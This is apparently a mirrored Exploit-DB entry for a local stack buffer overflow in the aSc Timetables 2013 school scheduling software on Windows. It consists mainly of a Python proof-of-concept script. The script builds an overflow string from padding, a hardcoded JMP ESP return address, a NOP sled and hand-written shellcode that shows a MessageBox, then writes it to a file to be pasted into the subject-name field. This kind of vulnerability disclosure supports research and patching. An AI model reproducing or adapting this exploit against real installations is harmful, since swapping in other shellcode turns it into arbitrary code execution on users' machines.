aSc Timetables 2013 – Local Stack Buffer Overflow

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• 作者： Dark-Puzzle
  日期： 2013-06-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/26409/

• #!/usr/bin/python
  # Title 			: ASC Timetables 2013 - Stack Buffer Overflow Vulnerability
  # Researcher 		: Souhail Hammou (Dark-Puzzle)
  # Research Team		: http://itsecurity.ma
  # Facebook			: http://www.facebook.com/dark.puzzle.sec
  # Date				: 22/06/2013
  # Download Website 	: www.asctimetables.com/download_en.html
  ##########################################################
  # Software Details :
  # ASC timetables is a school scheduling software used widely by many schools around the globe to generate unique timetables for students.
  # it has the features to add school subjects , teachers and manipulate time.
  # Vulnerability details :
  # The buffer overflow vulnerability resides in the Add subject functionality, and it's triggered when the user will submit a large string when specifying the 
  #school subject name. To trigger the vulnerability go to the main menu , select subjects , click new then generate a string with the code below and the 
  #software will execute the shellcode which will popup a MessageBox.
  # Picture : http://oi40.tinypic.com/30rwc2q.jpg
  
  garbage = "D"*512
  eip = "\xCB\xC0\x8F\x75" #JMP ESP from kernel32.dll
  nopsled = "\x90"*177
  shellcode = "\xB8\x23\x58\xA7\x11\x2D\x11\x11\x11\x11\x6A\x14\x50\x50\x33\xC0\x50\xB8\x98\x34\x69\x11\x2D\x11\x11\x11\x11\xFF\xE0"
  # I have written this shellcode which will popup a "Yes/No" MessageBox with Title and Message : iteDump
  #MOV EAX,11A75823
  #SUB EAX,11111111
  #PUSH 14
  #PUSH EAX
  #PUSH EAX
  #XOR EAX,EAX
  #PUSH EAX
  #MOV EAX,11693498
  #SUB EAX,11111111
  #JMP EAX
  ToInsert = open("file.txt", "w")
  ToInsert.write(garbage+eip+nopsled+shellcode)
  ToInsert.close()
  

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